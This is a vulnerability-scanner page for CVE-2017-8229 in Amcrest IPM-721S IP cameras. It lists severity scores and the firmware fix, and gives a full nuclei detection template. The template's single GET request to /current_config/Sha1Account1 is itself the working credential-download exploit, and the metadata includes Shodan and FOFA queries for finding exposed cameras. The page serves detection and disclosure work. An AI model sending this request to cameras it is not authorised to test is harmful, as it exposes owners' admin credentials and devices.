Amcrest IP Camera Web Management - Data Exposure

criticalseverity

9.8CVSS score

74.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Amcrest IPM-721S V2.420.AC00.16.R.20160909 devices allow an unauthenticated attacker to download the administrative credentials.

Impact

An attacker can gain unauthorized access to sensitive data.

Fix

Apply the latest firmware update provided by the vendor to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/current_config/Sha1Account1
Positive when: contains "DevInformation" and "SerialID" AND contains in header "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2017-8229 -u <target>

The full check

id: CVE-2017-8229

info:
  name: Amcrest IP Camera Web Management - Data Exposure
  author: pussycat0x
  severity: critical
  description: |
    Amcrest IPM-721S V2.420.AC00.16.R.20160909 devices allow an unauthenticated attacker to download the administrative credentials.
  impact: |
    An attacker can gain unauthorized access to sensitive data.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-8229
    - http://packetstormsecurity.com/files/153224/Amcrest-IPM-721S-Credential-Disclosure-Privilege-Escalation.html
    - https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Amcrest_sec_issues.pdf
    - https://seclists.org/bugtraq/2019/Jun/8
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-8229
    cwe-id: CWE-255
    epss-score: 0.74243
    epss-percentile: 0.99492
    cpe: cpe:2.3:o:amcrest:ipm-721s_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: amcrest
    product: ipm-721s_firmware
    shodan-query:
      - html:"Amcrest"
      - http.html:"amcrest"
    fofa-query:
      - "Amcrest"
      - amcrest
      - body="amcrest"
  tags: cve2017,cve,packetstorm,seclists,amcrest,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/current_config/Sha1Account1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DevInformation"
          - "SerialID"
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from